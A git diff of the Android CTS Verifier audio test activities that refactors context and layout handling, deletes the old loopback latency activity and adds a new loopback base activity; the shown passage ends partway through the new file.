@@ -47,8 +41,6 @@
 
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -66,12 +58,10 @@
     static final double MIN_FRACTION_POINTS_IN_BAND = 0.3;
 
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
 
     Button mLoopbackPlugReady;          //user signal to have connected USB Microphone
     Button mTestButton;                 //user to start test
     String mUsbDevicesInfo;             //usb device info for report
-    LinearLayout mLinearLayout;
     TextView mResultText;
     TextView mUsbStatusText;
     ProgressBar mProgressBar;
@@ -131,21 +121,18 @@
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_speaker_activity);
 
-        mContext = this;
-
         mLoopbackPlugReady = (Button)findViewById(R.id.audio_frequency_speaker_mic_ready_btn);
         mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
-        mLinearLayout = (LinearLayout)findViewById(R.id.audio_frequency_speaker_layout);
         mUsbStatusText = (TextView)findViewById(R.id.audio_frequency_speaker_usb_status);
         mTestButton = (Button)findViewById(R.id.audio_frequency_speaker_test_btn);
         mTestButton.setOnClickListener(mBtnClickListener);
         mResultText = (TextView)findViewById(R.id.audio_frequency_speaker_results_text);
         mProgressBar = (ProgressBar)findViewById(R.id.audio_frequency_speaker_progress_bar);
         showWait(false);
-        enableLayout(false);         //disabled all content
+        enableLayout(R.id.audio_frequency_speaker_layout,false);         //disabled all content
 
         mSPlayer = new SoundPlayerObject();
-        mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+        mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
         mSPlayer.setBalance(0.5f);
 
         //Init FFT stuff
@@ -217,16 +204,6 @@
     }
 
     /**
-     * enable test ui elements
-     */
-    private void enableLayout(boolean enable) {
-        for (int i = 0; i < mLinearLayout.getChildCount(); i++) {
-            mLoopbackPlugReady.setEnabled(enable);
-            mTestButton.setEnabled(enable);
-        }
-    }
-
-    /**
      * show active progress bar
      */
     private void showWait(boolean show) {
@@ -721,17 +698,17 @@
     }
 
     private void testUSB() {
-        boolean isConnected = UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
-        mUsbDevicesInfo = UsbMicrophoneTester.getUSBDeviceListString(getApplicationContext());
+        boolean isConnected = UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
+        mUsbDevicesInfo = UsbMicrophoneTester.getUSBDeviceListString(mContext);
 
         if (isConnected) {
             mUsbStatusText.setText(
                     getResources().getText(R.string.audio_frequency_speaker_mic_ready_text));
-            enableLayout(true);
+            enableLayout(R.id.audio_frequency_speaker_layout, true);
         } else {
             mUsbStatusText.setText(
                     getResources().getText(R.string.audio_frequency_speaker_mic_not_ready_text));
-            enableLayout(false);
+            enableLayout(R.id.audio_frequency_speaker_layout, false);
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
index fb8460b..c33a7cf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
@@ -16,19 +16,12 @@
 
 package com.android.cts.verifier.audio;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
-import android.content.Context;
-import android.content.BroadcastReceiver;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
@@ -43,8 +36,6 @@
 import android.view.View.OnClickListener;
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -85,26 +76,21 @@
     private static final int TEST_DURATION_USB_NOISE = TEST_DURATION_DEFAULT;
 
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
 
-    LinearLayout mLayoutTestTone;
     Button mButtonTestTone;
     ProgressBar mProgressTone;
     TextView mResultTestTone;
     Button mButtonPlayTone;
 
-    LinearLayout mLayoutTestNoise;
     Button mButtonTestNoise;
     ProgressBar mProgressNoise;
     TextView mResultTestNoise;
     Button mButtonPlayNoise;
 
-    LinearLayout mLayoutTestUsbBackground;
     Button mButtonTestUsbBackground;
     ProgressBar mProgressUsbBackground;
     TextView mResultTestUsbBackground;
 
-    LinearLayout mLayoutTestUsbNoise;
     Button mButtonTestUsbNoise;
     ProgressBar mProgressUsbNoise;
     TextView mResultTestUsbNoise;
@@ -164,7 +150,6 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_unprocessed_activity);
-        mContext = this;
         mTextViewUnprocessedStatus = (TextView) findViewById(
                 R.id.audio_frequency_unprocessed_defined);
         //unprocessed test
@@ -181,7 +166,6 @@
         playerSetSource(SOURCE_TONE);
 
         // Test tone
-        mLayoutTestTone = (LinearLayout) findViewById(R.id.unprocessed_layout_test_tone);
         mButtonTestTone = (Button) findViewById(R.id.unprocessed_test_tone_btn);
         mButtonTestTone.setOnClickListener(mBtnClickListener);
         mProgressTone = (ProgressBar) findViewById(R.id.unprocessed_test_tone_progress_bar);
@@ -191,7 +175,6 @@
         showWait(mProgressTone, false);
 
         //Test Noise
-        mLayoutTestNoise = (LinearLayout) findViewById(R.id.unprocessed_layout_test_noise);
         mButtonTestNoise = (Button) findViewById(R.id.unprocessed_test_noise_btn);
         mButtonTestNoise.setOnClickListener(mBtnClickListener);
         mProgressNoise = (ProgressBar) findViewById(R.id.unprocessed_test_noise_progress_bar);
@@ -201,8 +184,6 @@
         showWait(mProgressNoise, false);
 
         //USB Background
-        mLayoutTestUsbBackground = (LinearLayout)
-                findViewById(R.id.unprocessed_layout_test_usb_background);
         mButtonTestUsbBackground = (Button) findViewById(R.id.unprocessed_test_usb_background_btn);
         mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
         mProgressUsbBackground = (ProgressBar)
@@ -211,7 +192,6 @@
                 findViewById(R.id.unprocessed_test_usb_background_result);
         showWait(mProgressUsbBackground, false);
 
-        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.unprocessed_layout_test_usb_noise);
         mButtonTestUsbNoise = (Button) findViewById(R.id.unprocessed_test_usb_noise_btn);
         mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
         mProgressUsbNoise = (ProgressBar)findViewById(R.id.unprocessed_test_usb_noise_progress_bar);
@@ -365,11 +345,11 @@
     private void playerSetSource(int sourceIndex) {
         switch (sourceIndex) {
             case SOURCE_TONE:
-                mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.onekhztone);
+                mSPlayer.setSoundWithResId(mContext, R.raw.onekhztone);
                 break;
             default:
             case SOURCE_NOISE:
-                mSPlayer.setSoundWithResId(getApplicationContext(),
+                mSPlayer.setSoundWithResId(mContext,
                         R.raw.stereo_mono_white_noise_48);
                 break;
         }
@@ -393,16 +373,6 @@
         }
     }
 
-    /**
-     * enable test ui elements
-     */
-    private void enableLayout(LinearLayout layout, boolean enable) {
-        for (int i = 0; i < layout.getChildCount(); i++) {
-            View view = layout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
     private void showWait(ProgressBar pb, boolean show) {
         if (show) {
             pb.setVisibility(View.VISIBLE);
@@ -468,8 +438,7 @@
 
     private boolean supportsUnprocessed() {
         boolean unprocessedSupport = false;
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        String unprocessedSupportString = am.getProperty(
+        String unprocessedSupportString = mAudioManager.getProperty(
                 AudioManager.PROPERTY_SUPPORT_AUDIO_SOURCE_UNPROCESSED);
         Log.v(TAG,"unprocessed support: " + unprocessedSupportString);
         if (unprocessedSupportString == null ||
@@ -790,7 +759,7 @@
             mCurrentTest = mTestId;
             sendMessage(mTestId, TEST_STARTED,"");
             mUsbMicConnected =
-                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+                    UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
         };
         public void record(int durationMs) {
             startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
index efe666a..d6e86cb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
@@ -21,7 +21,6 @@
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
-import android.content.Context;
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
 import android.os.Bundle;
@@ -32,7 +31,6 @@
 import android.view.View.OnClickListener;
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -81,26 +79,20 @@
     private boolean mTestsDone[] = new boolean[TEST_COUNT];
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
-    private Context mContext;
-
-    private LinearLayout mLayoutTestTone;
     private Button mButtonTestTone;
     private ProgressBar mProgressTone;
     private TextView mResultTestTone;
     private Button mButtonPlayTone;
 
-    private LinearLayout mLayoutTestNoise;
     private Button mButtonTestNoise;
     private ProgressBar mProgressNoise;
     private TextView mResultTestNoise;
     private Button mButtonPlayNoise;
 
-    private LinearLayout mLayoutTestUsbBackground;
     private Button mButtonTestUsbBackground;
     private ProgressBar mProgressUsbBackground;
     private TextView mResultTestUsbBackground;
 
-    private LinearLayout mLayoutTestUsbNoise;
     private Button mButtonTestUsbNoise;
     private ProgressBar mProgressUsbNoise;
     private TextView mResultTestUsbNoise;
@@ -141,7 +133,6 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_voice_recognition_activity);
-        mContext = this;
 
         mSPlayer = new SoundPlayerObject();
         playerSetSource(SOURCE_TONE);
@@ -221,7 +212,6 @@
         };
 
         // Test tone
-        mLayoutTestTone = (LinearLayout) findViewById(R.id.vr_layout_test_tone);
         mButtonTestTone = (Button) findViewById(R.id.vr_button_test_tone);
         mButtonTestTone.setOnClickListener(mBtnClickListener);
         mProgressTone = (ProgressBar) findViewById(R.id.vr_test_tone_progress_bar);
@@ -231,7 +221,6 @@
         showWait(mProgressTone, false);
 
         //Test Noise
-        mLayoutTestNoise = (LinearLayout) findViewById(R.id.vr_layout_test_noise);
         mButtonTestNoise = (Button) findViewById(R.id.vr_button_test_noise);
         mButtonTestNoise.setOnClickListener(mBtnClickListener);
         mProgressNoise = (ProgressBar) findViewById(R.id.vr_test_noise_progress_bar);
@@ -241,8 +230,6 @@
         showWait(mProgressNoise, false);
 
         //USB Background
-        mLayoutTestUsbBackground = (LinearLayout)
-                findViewById(R.id.vr_layout_test_usb_background);
         mButtonTestUsbBackground = (Button) findViewById(R.id.vr_button_test_usb_background);
         mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
         mProgressUsbBackground = (ProgressBar)
@@ -251,7 +238,6 @@
                 findViewById(R.id.vr_test_usb_background_result);
         showWait(mProgressUsbBackground, false);
 
-        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.vr_layout_test_usb_noise);
         mButtonTestUsbNoise = (Button) findViewById(R.id.vr_button_test_usb_noise);
         mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
         mProgressUsbNoise = (ProgressBar)findViewById(R.id.vr_test_usb_noise_progress_bar);
@@ -401,11 +387,11 @@
     private void playerSetSource(int sourceIndex) {
         switch (sourceIndex) {
             case SOURCE_TONE:
-                mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.onekhztone);
+                mSPlayer.setSoundWithResId(mContext, R.raw.onekhztone);
                 break;
             default:
             case SOURCE_NOISE:
-                mSPlayer.setSoundWithResId(getApplicationContext(),
+                mSPlayer.setSoundWithResId(mContext,
                         R.raw.stereo_mono_white_noise_48);
                 break;
         }
@@ -429,16 +415,6 @@
         }
     }
 
-    /**
-     * enable test ui elements
-     */
-    private void enableLayout(LinearLayout layout, boolean enable) {
-        for (int i = 0; i < layout.getChildCount(); i++) {
-            View view = layout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
     private void showWait(ProgressBar pb, boolean show) {
         pb.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
     }
@@ -789,7 +765,7 @@
             mCurrentTest = mTestId;
             sendMessage(mTestId, TEST_STARTED,"");
             mUsbMicConnected =
-                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+                    UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
         };
         public void record(int durationMs) {
             mSRecorder.startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
deleted file mode 100644
index 5c3fa9f..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
+++ /dev/null
@@ -1,334 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
-
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.MediaRecorder;
-
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-
-import android.util.Log;
-
-import android.view.View;
-import android.view.View.OnClickListener;
-
-import android.widget.Button;
-import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
-import android.widget.ProgressBar;
-
-/**
- * Tests Audio Device roundtrip latency by using a loopback plug.
- */
-public class AudioLoopbackActivity extends PassFailButtons.Activity {
-    private static final String TAG = "AudioLoopbackActivity";
-
-    public static final int BYTES_PER_FRAME = 2;
-
-    NativeAnalyzerThread mNativeAnalyzerThread = null;
-
-    private int mSamplingRate = 44100;
-    private int mMinBufferSizeInFrames = 0;
-    private static final double CONFIDENCE_THRESHOLD = 0.6;
-
-    private double mLatencyMillis;
-    private double mConfidence;
-
-    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
-
-    Button mHeadsetPortYes;
-    Button mHeadsetPortNo;
-
-    Button mLoopbackPlugReady;
-    TextView mAudioLevelText;
-    SeekBar mAudioLevelSeekbar;
-    LinearLayout mLinearLayout;
-    Button mTestButton;
-    TextView mResultText;
-    ProgressBar mProgressBar;
-
-    int mMaxLevel;
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.audio_loopback_plug_ready_btn:
-                    Log.i(TAG, "audio loopback plug ready");
-                    //enable all the other views.
-                    enableLayout(true);
-                    break;
-                case R.id.audio_loopback_test_btn:
-                    Log.i(TAG, "audio loopback test");
-                    startAudioTest();
-                    break;
-                case R.id.audio_general_headset_yes:
-                    Log.i(TAG, "User confirms Headset Port existence");
-                    mLoopbackPlugReady.setEnabled(true);
-                    recordHeadsetPortFound(true);
-                    mHeadsetPortYes.setEnabled(false);
-                    mHeadsetPortNo.setEnabled(false);
-                    break;
-                case R.id.audio_general_headset_no:
-                    Log.i(TAG, "User denies Headset Port existence");
-                    recordHeadsetPortFound(false);
-                    getPassButton().setEnabled(true);
-                    mHeadsetPortYes.setEnabled(false);
-                    mHeadsetPortNo.setEnabled(false);
-                    break;
-            }
-        }
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.audio_loopback_activity);
-
-        mContext = this;
-
-        mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
-        mHeadsetPortYes.setOnClickListener(mBtnClickListener);
-        mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
-        mHeadsetPortNo.setOnClickListener(mBtnClickListener);
-
-        mLoopbackPlugReady = (Button)findViewById(R.id.audio_loopback_plug_ready_btn);
-        mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
-        mLoopbackPlugReady.setEnabled(false);
-        mLinearLayout = (LinearLayout)findViewById(R.id.audio_loopback_layout);
-        mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
-        mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
-        mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
-        mTestButton.setOnClickListener(mBtnClickListener);
-        mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
-        mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
-        showWait(false);
-
-        enableLayout(false);         //disabled all content
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        mMaxLevel = am.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-        mAudioLevelSeekbar.setMax(mMaxLevel);
-        am.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
-        refreshLevel();
-
-        mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
-            @Override
-            public void onStopTrackingTouch(SeekBar seekBar) {
-            }
-
-            @Override
-            public void onStartTrackingTouch(SeekBar seekBar) {
-            }
-
-            @Override
-            public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
-
-                AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-                am.setStreamVolume(AudioManager.STREAM_MUSIC,
-                        progress, 0);
-                refreshLevel();
-                Log.i(TAG,"Changed stream volume to: " + progress);
-            }
-        });
-
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-        setInfoResources(R.string.audio_loopback_test, R.string.audio_loopback_info, -1);
-
-    }
-
-    /**
-     * refresh Audio Level seekbar and text
-     */
-    private void refreshLevel() {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-
-        int currentLevel = am.getStreamVolume(AudioManager.STREAM_MUSIC);
-        mAudioLevelSeekbar.setProgress(currentLevel);
-
-        String levelText = String.format("%s: %d/%d",
-                getResources().getString(R.string.audio_loopback_level_text),
-                currentLevel, mMaxLevel);
-        mAudioLevelText.setText(levelText);
-    }
-
-    /**
-     * enable test ui elements
-     */
-    private void enableLayout(boolean enable) {
-        for (int i = 0; i<mLinearLayout.getChildCount(); i++) {
-            View view = mLinearLayout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
-    /**
-     * show active progress bar
-     */
-    private void showWait(boolean show) {
-        if (show) {
-            mProgressBar.setVisibility(View.VISIBLE) ;
-        } else {
-            mProgressBar.setVisibility(View.INVISIBLE) ;
-        }
-    }
-
-    /**
-     *  Start the loopback audio test
-     */
-    private void startAudioTest() {
-        getPassButton().setEnabled(false);
-        mTestButton.setEnabled(false);
-        mLatencyMillis = 0.0;
-        mConfidence = 0.0;
-
-        mNativeAnalyzerThread = new NativeAnalyzerThread();
-        if (mNativeAnalyzerThread != null) {
-            mNativeAnalyzerThread.setMessageHandler(mMessageHandler);
-            // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
-            mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
-            mNativeAnalyzerThread.startTest();
-
-            try {
-                Thread.sleep(200);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void handleTestCompletion() {
-        recordTestResults();
-        boolean resultValid = mConfidence >= CONFIDENCE_THRESHOLD
-                && mLatencyMillis > 1.0;
-        getPassButton().setEnabled(resultValid);
-
-        // Make sure the test thread is finished. It should already be done.
-        if (mNativeAnalyzerThread != null) {
-            try {
-                mNativeAnalyzerThread.stopTest(2 * 1000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-        showWait(false);
-        mTestButton.setEnabled(true);
-    }
-
-    /**
-     * handler for messages from audio thread
-     */
-    private Handler mMessageHandler = new Handler() {
-        public void handleMessage(Message msg) {
-            super.handleMessage(msg);
-            switch(msg.what) {
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
-                    Log.v(TAG,"got message native rec started!!");
-                    showWait(true);
-                    mResultText.setText("Test Running...");
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
-                    Log.v(TAG,"got message native rec can't start!!");
-                    mResultText.setText("Test Error opening streams.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
-                    Log.v(TAG,"got message native rec can't start!!");
-                    mResultText.setText("Test Error while recording.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
-                    mResultText.setText("Test FAILED due to errors.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
-                    if (mNativeAnalyzerThread != null) {
-                        mLatencyMillis = mNativeAnalyzerThread.getLatencyMillis();
-                        mConfidence = mNativeAnalyzerThread.getConfidence();
-                    }
-                    mResultText.setText(String.format(
-                            "Test Finished\nLatency:%.2f ms\nConfidence: %.2f",
-                            mLatencyMillis,
-                            mConfidence));
-                    handleTestCompletion();
-                    break;
-                default:
-                    break;
-            }
-        }
-    };
-
-    /**
-     * Store test results in log
-     */
-    private void recordTestResults() {
-
-        getReportLog().addValue(
-                "Estimated Latency",
-                mLatencyMillis,
-                ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-
-        getReportLog().addValue(
-                "Confidence",
-                mConfidence,
-                ResultType.HIGHER_BETTER,
-                ResultUnit.NONE);
-
-        int audioLevel = mAudioLevelSeekbar.getProgress();
-        getReportLog().addValue(
-                "Audio Level",
-                audioLevel,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        getReportLog().addValue(
-                "Frames Buffer Size",
-                mMinBufferSizeInFrames,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        getReportLog().addValue(
-                "Sampling Rate",
-                mSamplingRate,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        Log.v(TAG,"Results Recorded");
-    }
-
-    private void recordHeadsetPortFound(boolean found) {
-        getReportLog().addValue(
-                "User Reported Headset Port",
-                found ? 1.0 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
new file mode 100644
index 0000000..7f96464
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -0,0 +1,418 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.app.AlertDialog;
+
+import android.content.Context;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.MediaRecorder;
+
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+
+import android.widget.Button;
+import android.widget.TextView;
+import android.widget.ProgressBar;
+import android.widget.SeekBar;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Base class for testing activitiees that require audio loopback hardware..
+ */
+public class AudioLoopbackBaseActivity extends PassFailButtons.Activity {
+    private static final String TAG = "AudioLoopbackActivity";
+
+    protected AudioManager mAudioManager;
+
+    // UI
+    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+    Button mLoopbackPortYesBtn;
+    Button mLoopbackPortNoBtn;
+
+    TextView mInputDeviceTxt;
+    TextView mOutputDeviceTxt;
+
+    TextView mAudioLevelText;
+    SeekBar mAudioLevelSeekbar;
+
+    TextView mResultText;
+    ProgressBar mProgressBar;
+    int mMaxLevel;
+
+    // Peripheral(s)
+    boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
+    AudioDeviceInfo mOutputDevInfo;
+    AudioDeviceInfo mInputDevInfo;
+
+    // Loopback Logic
+    NativeAnalyzerThread mNativeAnalyzerThread = null;
+
+    protected double mLatencyMillis = 0.0;
+    protected double mConfidence = 0.0;
+
+    protected static final double CONFIDENCE_THRESHOLD = 0.6;
+    protected static final double PROAUDIO_LATENCY_MS_LIMIT = 20.0;
+
+    // The audio stream callback threads should stop and close
+    // in less than a few hundred msec. This is a generous timeout value.
+    private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
+
+    //
+    // Common UI Handling
+    //
+    void enableLayout(int layoutId, boolean enable) {
+        ViewGroup group = (ViewGroup)findViewById(layoutId);
+        for (int i = 0; i < group.getChildCount(); i++) {
+            group.getChildAt(i).setEnabled(enable);
+        }
+    }
+
+    private void connectLoopbackUI() {
+        // Has Loopback - Yes
+        mLoopbackPortYesBtn = (Button)findViewById(R.id.loopback_tests_yes_btn);
+        mLoopbackPortYesBtn.setOnClickListener(mBtnClickListener);
+
+        // Has Looback - No
+        mLoopbackPortNoBtn = (Button)findViewById(R.id.loopback_tests_no_btn);
+        mLoopbackPortNoBtn.setOnClickListener(mBtnClickListener);
+
+        // Connected Device
+        mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
+        mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
+
+        // Loopback Info
+        findViewById(R.id.loopback_tests_info_btn).setOnClickListener(mBtnClickListener);
+
+        mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
+        mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
+        mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        mAudioLevelSeekbar.setMax(mMaxLevel);
+        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
+        refreshLevel();
+
+        mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
+            @Override
+            public void onStopTrackingTouch(SeekBar seekBar) {}
+
+            @Override
+            public void onStartTrackingTouch(SeekBar seekBar) {}
+
+            @Override
+            public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
+                mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
+                        progress, 0);
+                refreshLevel();
+                Log.i(TAG,"Changed stream volume to: " + progress);
+            }
+        });
+
+        mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
+        mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
+        showWait(false);
+
+        enableTestUI(false);
+    }
+
+    //
+    // Peripheral Connection Logic
+    //
+    protected void scanPeripheralList(AudioDeviceInfo[] devices) {
+        // CDD Section C-1-3: USB port, host-mode support
+
+        // Can't just use the first record because then we will only get
+        // Source OR sink, not both even on devices that are both.
+        mOutputDevInfo = null;
+        mInputDevInfo = null;
+
+        // Any valid peripherals
+        // Do we leave in the Headset test to support a USB-Dongle?
+        for (AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||     // USB Peripheral
+                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET ||    // USB dongle+LBPlug
+                    devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
+                    devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
+                if (devInfo.isSink()) {
+                    mOutputDevInfo = devInfo;
+                }
+                if (devInfo.isSource()) {
+                    mInputDevInfo = devInfo;
+                }
+            }  else {
+                handleDeviceConnection(devInfo);
+            }
+        }
+
+        mIsPeripheralAttached = mOutputDevInfo != null || mInputDevInfo != null;
+        showConnectedAudioPeripheral();
+
+    }
+
